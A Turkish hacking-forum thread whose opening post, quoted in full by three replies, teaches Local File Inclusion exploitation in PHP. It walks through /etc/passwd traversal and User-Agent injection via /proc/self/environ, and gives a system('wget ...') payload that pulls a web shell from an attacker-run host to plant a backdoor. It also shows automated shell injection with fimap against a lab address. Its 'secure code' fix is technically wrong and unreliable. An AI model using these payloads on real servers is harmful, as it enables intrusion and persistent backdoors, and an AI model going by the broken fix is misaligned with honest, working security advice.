LFI Nedir? Ve Nasıl Yapılır ?

RasperPascal

Katılımcı Üye
19 May 2020
445
290
Atatürk'ün İzinde
Merhabalar Arkadaşlar büğün sizlere LFI ne anlama geldiğini ve nasıl yapıldığını anlatacağım;

Local File Inclusion (LFI),web yazılım dilinde karşılaşılan bir güvenlik açığıdır ve kısaca, dosya ekleme olarak. Sanal bir zayıflıktır. Kötü niyetli yazılımlar’ın, Yerel ağ ve uzaktan ağ bağlantıları ile kod çalıştırmasına şeklinde olanak sağlar.



PHP web programlama dili ile kodlanmaktadır uygulamalarda genellikle yazılımcıların tanımladıkları değişkene değer vermekte olup veya atanan değerlerin filtrelenmemesinden oluşmaktadır.

LFI’ı en tehlikeli olmasının nedeni ise RCE (Remote Code Execution) zafiyetine oluşmakta olmasıdır.



LFI oluşturulan örnek bir zafiyeti bakalım beraber.

Örnek olarak aşağıda bulunun kod’a bakabiliriz;

<?php

include($_GET[‘sayfa’])

?>



Bu kodu kullanan bir web sitesinde, sitenin içerisinde böyle bir istek oluşacaktır




http://abc.com/index.php?sayfa=hakkında.php





LFI zaafiyeti nasıl bulabiliriz?



Bir saldırgan’nın bakış açısıyla, Herhangi bir sistemde kullanıcı adı ve şifrelerin tutulduğu “/etc/passwd” dosyasına giriş yapmaya çalışalım:






Veri çıktısı:

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games:/usr/games:/usr/sbin/nologin

man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

mail:x:8:8:mail:/var/mail:/usr/sbin/nologin

news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin

proxy:x:13:13:proxy:/bin:/usr/sbin/nologin

www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin





şeklinde olacaktır.


URL’deki “../”. Bu komut ile bulunduğumzu dizinin üstüne çıkmış olduk,yani /etc/passwd dizine erişmiş olduk.




Bu yaptığımız şey LFI zaafiyetini tespit etmemize yaradı.

Sunucu tarafında Apache, giriş yapan kişinin IP adresi, internet sitesinin bilgilerini tuttuğu /proc/self/environ dosyası bize yardımcı olur.

clip_image002_thumb.png


Şimdi ise bize asıl yardımcı olucak işleme geçiyoruz. Web browser’ımızın user-agent kısmına <?php phpinfo(); ?> kodunu enjekte ettirelim ve bunu çözümleyip ekrana yansıtacak mı?

Bunun için ise ben Mozilla Firefox’un Tamper Data eklentisini kullandım sizde kullanabilirsiniz, bu işlemi yapabilecek Burp Suite gibi başka proxy yazılımları da kullanabilirsiniz.
clip_image004_thumb.png

Tamper Data açıkken yapmamız gereken ;



isteği yaptığımda çıkan uyarıdaki Tamper butonuna basıp HTTP isteğinde çeşitli değişiklikler yapabilir hale geliyoruz.
clip_image006_thumb.png

User-agent

değişikliğini yaptıktan sonra aşağıda ki gibi sistemde yüklü olan PHP ile ilgili konfigürasyon detaylarını görmüş oluruz.
clip_image008_thumb.png

Bu demek oluyor ki kod enjeksiyon olmuş yani RCE




başarıyla gerçekleşti. Artık bundan sonra buraya enjekte edeceğimiz asıl şudur kod, “phpinfo()” fonksiyonu gibi temiz olmayacak…

Bu sefer user-agent


kısmına aşağıdaki kodu yazacağız:



<?system(‘wget http://zararlisite.com/shell.txt -O shell.php’);?>


Not: Bu kod ile bize ait olan bir sunucuya


*.txt

formatında yüklediğimiz ama içinde PHP kodlarınında içinde olan bir web shell’i çağırıp ismini backdoor.php ile bulunduğu dizine kaydettirme işlemi yaptıyoruz.

clip_image010_thumb.png


Evet, aşağıdaki gibi bir çıktı aldık.
clip_image012_thumb.png

Şimdi de bulunduğumuz dizinde backdoor.php dosyası oluşmuş mu, ona bakalımcağız …
clip_image014_thumb.png


Evet, görüldüğü üzere backdoor.php dosyamız gelmiştir.


Dosyayı /proc/self/environ exploit ve RCE tarafından sistemimize backdoor’u kaydetmiş olduk.


Korunma Yöntemleri Şu Şekildedir;


1) Kodu Revize Etme


Zayıf Kodu:

<?php

include($ornek. ‘../index.php’);

?>



Güvenli Kodu:

<?php

$ornek = ‘veri’;

include($ornek. ‘../index.php’);

?>


“ornek” değişkenine tanımlama yaptığımızdan böylece dış verinin girişine izin vermis oluruz ve LFI & RFI zayıflık oluşmamış olacaktır.

2) php.ini

/etc/php.ini dosyasının içini açarak disable_function değerinin yanına aşağıda belirtilen özelliği yazarak web shell scriplerin çalışması ve fonksiyonlarının etkisiz kalmaları sağlanabilir:

disable_function = system, passthru, exec, popen, proc_close, proc_get_status, proc_nice, proc_open, allow_url_fopen, shell, shellexec, executeservice

Manuel şekilde exploit ettirdik, bu yaptığımız işlemi otomatik’te yapabiliriz .Fakat bunun için Kali Linux’ta olan Fimap uygulamasını açmamız gereklidir.

Bildiğimiz veya şüphelendiğimiz URL ile Fimap’e taraması için giriyoruz.

# fimap –cookie ‘security=low; PHPSESSID=0c069f6ac0fc63276a6174a9aff22b9e’ -u ‘http://192.168.52.132/dvwa/vulnerabilities/fi/?page=include.php’

clip_image016_thumb.png
clip_image018_thumb.png

Not: Hedef sistemimiz kullanıcı girişiyle ulaşıldığından –cookie parametresi kullanıldı. Eğer sizin hedef sisteminizde taranacak URL kullanıcı girişi yapılmadan ulaşılabiliyorsa –cookie parametresi kullanmadan işlemi onaylanır.

Son olarak

# fimap -x

komutunu veriyoruz.

Exploit edeceği domaini istiyor. Fimap’e şu an için bir tane taranmakta olan 192.168.52.132 görünmekteyiz, biz de onu seçtik.

Sistem için hangi metodu kullanacağımız sorulur, 1 diyoruz.

Sisteme hangi shell’i yüklemek istediğimizi istiyor bunun için de 1 diyoruz.

Ve Fimap, w shell’i sisteme enjekte ederek bize komut satırı getirdi.

clip_image020_thumb.png

Bir sonraki güvenlik makalemizde görüşmek üzere….
 
Son düzenleme:

METE _HAN

Katılımcı Üye
16 Eyl 2021
895
565
root💀kali
Çok kaliteli bir konu. Ellerinize sağlık
Merhabalar Arkadaşlar büğün sizlere LFI ne anlama geldiğini ve nasıl yapıldığını anlatacağım;

Local File Inclusion (LFI),web yazılım dilinde karşılaşılan bir güvenlik açığıdır ve kısaca, dosya ekleme olarak. Sanal bir zayıflıktır. Kötü niyetli yazılımlar’ın, Yerel ağ ve uzaktan ağ bağlantıları ile kod çalıştırmasına şeklinde olanak sağlar.



PHP web programlama dili ile kodlanmaktadır uygulamalarda genellikle yazılımcıların tanımladıkları değişkene değer vermekte olup veya atanan değerlerin filtrelenmemesinden oluşmaktadır.

LFI’ı en tehlikeli olmasının nedeni ise RCE (Remote Code Execution) zafiyetine oluşmakta olmasıdır.



LFI oluşturulan örnek bir zafiyeti bakalım beraber.

Örnek olarak aşağıda bulunun kod’a bakabiliriz;

<?php

include($_GET[‘sayfa’])

?>



Bu kodu kullanan bir web sitesinde, sitenin içerisinde böyle bir istek oluşacaktır




http://xxx.com/index.php?sayfa=hakkında.php





LFI zaafiyeti nasıl bulabiliriz?



Bir saldırgan’nın bakış açısıyla, Herhangi bir sistemde kullanıcı adı ve şifrelerin tutulduğu “/etc/passwd” dosyasına giriş yapmaya çalışalım:






Veri çıktısı:

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games:/usr/games:/usr/sbin/nologin

man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

mail:x:8:8:mail:/var/mail:/usr/sbin/nologin

news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin

proxy:x:13:13:proxy:/bin:/usr/sbin/nologin

www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin





şeklinde olacaktır.


URL’deki “../”. Bu komut ile bulunduğumzu dizinin üstüne çıkmış olduk,yani /etc/passwd dizine erişmiş olduk.




Bu yaptığımız şey LFI zaafiyetini tespit etmemize yaradı.

Sunucu tarafında Apache, giriş yapan kişinin IP adresi, internet sitesinin bilgilerini tuttuğu /proc/self/environ dosyası bize yardımcı olur.

clip_image002_thumb.png


Şimdi ise bize asıl yardımcı olucak işleme geçiyoruz. Web browser’ımızın user-agent kısmına <?php phpinfo(); ?> kodunu enjekte ettirelim ve bunu çözümleyip ekrana yansıtacak mı?

Bunun için ise ben Mozilla Firefox’un Tamper Data eklentisini kullandım sizde kullanabilirsiniz, bu işlemi yapabilecek Burp Suite gibi başka proxy yazılımları da kullanabilirsiniz.
clip_image004_thumb.png

Tamper Data açıkken yapmamız gereken ;



isteği yaptığımda çıkan uyarıdaki Tamper butonuna basıp HTTP isteğinde çeşitli değişiklikler yapabilir hale geliyoruz.
clip_image006_thumb.png

User-agent

değişikliğini yaptıktan sonra aşağıda ki gibi sistemde yüklü olan PHP ile ilgili konfigürasyon detaylarını görmüş oluruz.
clip_image008_thumb.png

Bu demek oluyor ki kod enjeksiyon olmuş yani RCE




başarıyla gerçekleşti. Artık bundan sonra buraya enjekte edeceğimiz asıl şudur kod, “phpinfo()” fonksiyonu gibi temiz olmayacak…

Bu sefer user-agent


kısmına aşağıdaki kodu yazacağız:



<?system(‘wget http://zararlisite.com/shell.txt -O shell.php’);?>


Not: Bu kod ile bize ait olan bir sunucuya


*.txt

formatında yüklediğimiz ama içinde PHP kodlarınında içinde olan bir web shell’i çağırıp ismini backdoor.php ile bulunduğu dizine kaydettirme işlemi yaptıyoruz.

clip_image010_thumb.png


Evet, aşağıdaki gibi bir çıktı aldık.
clip_image012_thumb.png

Şimdi de bulunduğumuz dizinde backdoor.php dosyası oluşmuş mu, ona bakalımcağız …
clip_image014_thumb.png


Evet, görüldüğü üzere backdoor.php dosyamız gelmiştir.


Dosyayı /proc/self/environ exploit ve RCE tarafından sistemimize backdoor’u kaydetmiş olduk.


Korunma Yöntemleri Şu Şekildedir;


1) Kodu Revize Etme


Zayıf Kodu:

<?php

include($ornek. ‘../index.php’);

?>



Güvenli Kodu:

<?php

$ornek = ‘veri’;

include($ornek. ‘../index.php’);

?>


“ornek” değişkenine tanımlama yaptığımızdan böylece dış verinin girişine izin vermis oluruz ve LFI & RFI zayıflık oluşmamış olacaktır.

2) php.ini

/etc/php.ini dosyasının içini açarak disable_function değerinin yanına aşağıda belirtilen özelliği yazarak web shell scriplerin çalışması ve fonksiyonlarının etkisiz kalmaları sağlanabilir:

disable_function = system, passthru, exec, popen, proc_close, proc_get_status, proc_nice, proc_open, allow_url_fopen, shell, shellexec, executeservice

Manuel şekilde exploit ettirdik, bu yaptığımız işlemi otomatik’te yapabiliriz .Fakat bunun için Kali Linux’ta olan Fimap uygulamasını açmamız gereklidir.

Bildiğimiz veya şüphelendiğimiz URL ile Fimap’e taraması için giriyoruz.

# fimap –cookie ‘security=low; PHPSESSID=0c069f6ac0fc63276a6174a9aff22b9e’ -u ‘http://192.168.52.132/dvwa/vulnerabilities/fi/?page=include.php’

clip_image016_thumb.png
clip_image018_thumb.png

Not: Hedef sistemimiz kullanıcı girişiyle ulaşıldığından –cookie parametresi kullanıldı. Eğer sizin hedef sisteminizde taranacak URL kullanıcı girişi yapılmadan ulaşılabiliyorsa –cookie parametresi kullanmadan işlemi onaylanır.

Son olarak

# fimap -x

komutunu veriyoruz.

Exploit edeceği domaini istiyor. Fimap’e şu an için bir tane taranmakta olan 192.168.52.132 görünmekteyiz, biz de onu seçtik.

Sistem için hangi metodu kullanacağımız sorulur, 1 diyoruz.

Sisteme hangi shell’i yüklemek istediğimizi istiyor bunun için de 1 diyoruz.

Ve Fimap, w shell’i sisteme enjekte ederek bize komut satırı getirdi.

clip_image020_thumb.png

Bir sonraki güvenlik makalemizde görüşmek üzere….
 
5 Eyl 2019
87
80
Merhabalar Arkadaşlar büğün sizlere LFI ne anlama geldiğini ve nasıl yapıldığını anlatacağım;

Local File Inclusion (LFI),web yazılım dilinde karşılaşılan bir güvenlik açığıdır ve kısaca, dosya ekleme olarak. Sanal bir zayıflıktır. Kötü niyetli yazılımlar’ın, Yerel ağ ve uzaktan ağ bağlantıları ile kod çalıştırmasına şeklinde olanak sağlar.



PHP web programlama dili ile kodlanmaktadır uygulamalarda genellikle yazılımcıların tanımladıkları değişkene değer vermekte olup veya atanan değerlerin filtrelenmemesinden oluşmaktadır.

LFI’ı en tehlikeli olmasının nedeni ise RCE (Remote Code Execution) zafiyetine oluşmakta olmasıdır.



LFI oluşturulan örnek bir zafiyeti bakalım beraber.

Örnek olarak aşağıda bulunun kod’a bakabiliriz;

<?php

include($_GET[‘sayfa’])

?>



Bu kodu kullanan bir web sitesinde, sitenin içerisinde böyle bir istek oluşacaktır




http://xxx.com/index.php?sayfa=hakkında.php





LFI zaafiyeti nasıl bulabiliriz?



Bir saldırgan’nın bakış açısıyla, Herhangi bir sistemde kullanıcı adı ve şifrelerin tutulduğu “/etc/passwd” dosyasına giriş yapmaya çalışalım:






Veri çıktısı:

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games:/usr/games:/usr/sbin/nologin

man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

mail:x:8:8:mail:/var/mail:/usr/sbin/nologin

news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin

proxy:x:13:13:proxy:/bin:/usr/sbin/nologin

www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin





şeklinde olacaktır.


URL’deki “../”. Bu komut ile bulunduğumzu dizinin üstüne çıkmış olduk,yani /etc/passwd dizine erişmiş olduk.




Bu yaptığımız şey LFI zaafiyetini tespit etmemize yaradı.

Sunucu tarafında Apache, giriş yapan kişinin IP adresi, internet sitesinin bilgilerini tuttuğu /proc/self/environ dosyası bize yardımcı olur.

clip_image002_thumb.png


Şimdi ise bize asıl yardımcı olucak işleme geçiyoruz. Web browser’ımızın user-agent kısmına <?php phpinfo(); ?> kodunu enjekte ettirelim ve bunu çözümleyip ekrana yansıtacak mı?

Bunun için ise ben Mozilla Firefox’un Tamper Data eklentisini kullandım sizde kullanabilirsiniz, bu işlemi yapabilecek Burp Suite gibi başka proxy yazılımları da kullanabilirsiniz.
clip_image004_thumb.png

Tamper Data açıkken yapmamız gereken ;



isteği yaptığımda çıkan uyarıdaki Tamper butonuna basıp HTTP isteğinde çeşitli değişiklikler yapabilir hale geliyoruz.
clip_image006_thumb.png

User-agent

değişikliğini yaptıktan sonra aşağıda ki gibi sistemde yüklü olan PHP ile ilgili konfigürasyon detaylarını görmüş oluruz.
clip_image008_thumb.png

Bu demek oluyor ki kod enjeksiyon olmuş yani RCE




başarıyla gerçekleşti. Artık bundan sonra buraya enjekte edeceğimiz asıl şudur kod, “phpinfo()” fonksiyonu gibi temiz olmayacak…

Bu sefer user-agent


kısmına aşağıdaki kodu yazacağız:



<?system(‘wget http://zararlisite.com/shell.txt -O shell.php’);?>


Not: Bu kod ile bize ait olan bir sunucuya


*.txt

formatında yüklediğimiz ama içinde PHP kodlarınında içinde olan bir web shell’i çağırıp ismini backdoor.php ile bulunduğu dizine kaydettirme işlemi yaptıyoruz.

clip_image010_thumb.png


Evet, aşağıdaki gibi bir çıktı aldık.
clip_image012_thumb.png

Şimdi de bulunduğumuz dizinde backdoor.php dosyası oluşmuş mu, ona bakalımcağız …
clip_image014_thumb.png


Evet, görüldüğü üzere backdoor.php dosyamız gelmiştir.


Dosyayı /proc/self/environ exploit ve RCE tarafından sistemimize backdoor’u kaydetmiş olduk.


Korunma Yöntemleri Şu Şekildedir;


1) Kodu Revize Etme


Zayıf Kodu:

<?php

include($ornek. ‘../index.php’);

?>



Güvenli Kodu:

<?php

$ornek = ‘veri’;

include($ornek. ‘../index.php’);

?>


“ornek” değişkenine tanımlama yaptığımızdan böylece dış verinin girişine izin vermis oluruz ve LFI & RFI zayıflık oluşmamış olacaktır.

2) php.ini

/etc/php.ini dosyasının içini açarak disable_function değerinin yanına aşağıda belirtilen özelliği yazarak web shell scriplerin çalışması ve fonksiyonlarının etkisiz kalmaları sağlanabilir:

disable_function = system, passthru, exec, popen, proc_close, proc_get_status, proc_nice, proc_open, allow_url_fopen, shell, shellexec, executeservice

Manuel şekilde exploit ettirdik, bu yaptığımız işlemi otomatik’te yapabiliriz .Fakat bunun için Kali Linux’ta olan Fimap uygulamasını açmamız gereklidir.

Bildiğimiz veya şüphelendiğimiz URL ile Fimap’e taraması için giriyoruz.

# fimap –cookie ‘security=low; PHPSESSID=0c069f6ac0fc63276a6174a9aff22b9e’ -u ‘http://192.168.52.132/dvwa/vulnerabilities/fi/?page=include.php’

clip_image016_thumb.png
clip_image018_thumb.png

Not: Hedef sistemimiz kullanıcı girişiyle ulaşıldığından –cookie parametresi kullanıldı. Eğer sizin hedef sisteminizde taranacak URL kullanıcı girişi yapılmadan ulaşılabiliyorsa –cookie parametresi kullanmadan işlemi onaylanır.

Son olarak

# fimap -x

komutunu veriyoruz.

Exploit edeceği domaini istiyor. Fimap’e şu an için bir tane taranmakta olan 192.168.52.132 görünmekteyiz, biz de onu seçtik.

Sistem için hangi metodu kullanacağımız sorulur, 1 diyoruz.

Sisteme hangi shell’i yüklemek istediğimizi istiyor bunun için de 1 diyoruz.

Ve Fimap, w shell’i sisteme enjekte ederek bize komut satırı getirdi.

clip_image020_thumb.png

Bir sonraki güvenlik makalemizde görüşmek üzere….
Eline Koluna Saglik
 

TOZQOPARAN

Uzman üye
3 Nis 2021
1,258
678
Eski Anka Underground Tim
Merhabalar Arkadaşlar büğün sizlere LFI ne anlama geldiğini ve nasıl yapıldığını anlatacağım;

Local File Inclusion (LFI),web yazılım dilinde karşılaşılan bir güvenlik açığıdır ve kısaca, dosya ekleme olarak. Sanal bir zayıflıktır. Kötü niyetli yazılımlar’ın, Yerel ağ ve uzaktan ağ bağlantıları ile kod çalıştırmasına şeklinde olanak sağlar.



PHP web programlama dili ile kodlanmaktadır uygulamalarda genellikle yazılımcıların tanımladıkları değişkene değer vermekte olup veya atanan değerlerin filtrelenmemesinden oluşmaktadır.

LFI’ı en tehlikeli olmasının nedeni ise RCE (Remote Code Execution) zafiyetine oluşmakta olmasıdır.



LFI oluşturulan örnek bir zafiyeti bakalım beraber.

Örnek olarak aşağıda bulunun kod’a bakabiliriz;

<?php

include($_GET[‘sayfa’])

?>



Bu kodu kullanan bir web sitesinde, sitenin içerisinde böyle bir istek oluşacaktır




http://xxx.com/index.php?sayfa=hakkında.php





LFI zaafiyeti nasıl bulabiliriz?



Bir saldırgan’nın bakış açısıyla, Herhangi bir sistemde kullanıcı adı ve şifrelerin tutulduğu “/etc/passwd” dosyasına giriş yapmaya çalışalım:






Veri çıktısı:

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games:/usr/games:/usr/sbin/nologin

man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

mail:x:8:8:mail:/var/mail:/usr/sbin/nologin

news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin

proxy:x:13:13:proxy:/bin:/usr/sbin/nologin

www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin





şeklinde olacaktır.


URL’deki “../”. Bu komut ile bulunduğumzu dizinin üstüne çıkmış olduk,yani /etc/passwd dizine erişmiş olduk.




Bu yaptığımız şey LFI zaafiyetini tespit etmemize yaradı.

Sunucu tarafında Apache, giriş yapan kişinin IP adresi, internet sitesinin bilgilerini tuttuğu /proc/self/environ dosyası bize yardımcı olur.

clip_image002_thumb.png


Şimdi ise bize asıl yardımcı olucak işleme geçiyoruz. Web browser’ımızın user-agent kısmına <?php phpinfo(); ?> kodunu enjekte ettirelim ve bunu çözümleyip ekrana yansıtacak mı?

Bunun için ise ben Mozilla Firefox’un Tamper Data eklentisini kullandım sizde kullanabilirsiniz, bu işlemi yapabilecek Burp Suite gibi başka proxy yazılımları da kullanabilirsiniz.
clip_image004_thumb.png

Tamper Data açıkken yapmamız gereken ;



isteği yaptığımda çıkan uyarıdaki Tamper butonuna basıp HTTP isteğinde çeşitli değişiklikler yapabilir hale geliyoruz.
clip_image006_thumb.png

User-agent

değişikliğini yaptıktan sonra aşağıda ki gibi sistemde yüklü olan PHP ile ilgili konfigürasyon detaylarını görmüş oluruz.
clip_image008_thumb.png

Bu demek oluyor ki kod enjeksiyon olmuş yani RCE




başarıyla gerçekleşti. Artık bundan sonra buraya enjekte edeceğimiz asıl şudur kod, “phpinfo()” fonksiyonu gibi temiz olmayacak…

Bu sefer user-agent


kısmına aşağıdaki kodu yazacağız:



<?system(‘wget http://zararlisite.com/shell.txt -O shell.php’);?>


Not: Bu kod ile bize ait olan bir sunucuya


*.txt

formatında yüklediğimiz ama içinde PHP kodlarınında içinde olan bir web shell’i çağırıp ismini backdoor.php ile bulunduğu dizine kaydettirme işlemi yaptıyoruz.

clip_image010_thumb.png


Evet, aşağıdaki gibi bir çıktı aldık.
clip_image012_thumb.png

Şimdi de bulunduğumuz dizinde backdoor.php dosyası oluşmuş mu, ona bakalımcağız …
clip_image014_thumb.png


Evet, görüldüğü üzere backdoor.php dosyamız gelmiştir.


Dosyayı /proc/self/environ exploit ve RCE tarafından sistemimize backdoor’u kaydetmiş olduk.


Korunma Yöntemleri Şu Şekildedir;


1) Kodu Revize Etme


Zayıf Kodu:

<?php

include($ornek. ‘../index.php’);

?>



Güvenli Kodu:

<?php

$ornek = ‘veri’;

include($ornek. ‘../index.php’);

?>


“ornek” değişkenine tanımlama yaptığımızdan böylece dış verinin girişine izin vermis oluruz ve LFI & RFI zayıflık oluşmamış olacaktır.

2) php.ini

/etc/php.ini dosyasının içini açarak disable_function değerinin yanına aşağıda belirtilen özelliği yazarak web shell scriplerin çalışması ve fonksiyonlarının etkisiz kalmaları sağlanabilir:

disable_function = system, passthru, exec, popen, proc_close, proc_get_status, proc_nice, proc_open, allow_url_fopen, shell, shellexec, executeservice

Manuel şekilde exploit ettirdik, bu yaptığımız işlemi otomatik’te yapabiliriz .Fakat bunun için Kali Linux’ta olan Fimap uygulamasını açmamız gereklidir.

Bildiğimiz veya şüphelendiğimiz URL ile Fimap’e taraması için giriyoruz.

# fimap –cookie ‘security=low; PHPSESSID=0c069f6ac0fc63276a6174a9aff22b9e’ -u ‘http://192.168.52.132/dvwa/vulnerabilities/fi/?page=include.php’

clip_image016_thumb.png
clip_image018_thumb.png

Not: Hedef sistemimiz kullanıcı girişiyle ulaşıldığından –cookie parametresi kullanıldı. Eğer sizin hedef sisteminizde taranacak URL kullanıcı girişi yapılmadan ulaşılabiliyorsa –cookie parametresi kullanmadan işlemi onaylanır.

Son olarak

# fimap -x

komutunu veriyoruz.

Exploit edeceği domaini istiyor. Fimap’e şu an için bir tane taranmakta olan 192.168.52.132 görünmekteyiz, biz de onu seçtik.

Sistem için hangi metodu kullanacağımız sorulur, 1 diyoruz.

Sisteme hangi shell’i yüklemek istediğimizi istiyor bunun için de 1 diyoruz.

Ve Fimap, w shell’i sisteme enjekte ederek bize komut satırı getirdi.

clip_image020_thumb.png

Bir sonraki güvenlik makalemizde görüşmek üzere….
Elinize sağlık hocam
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.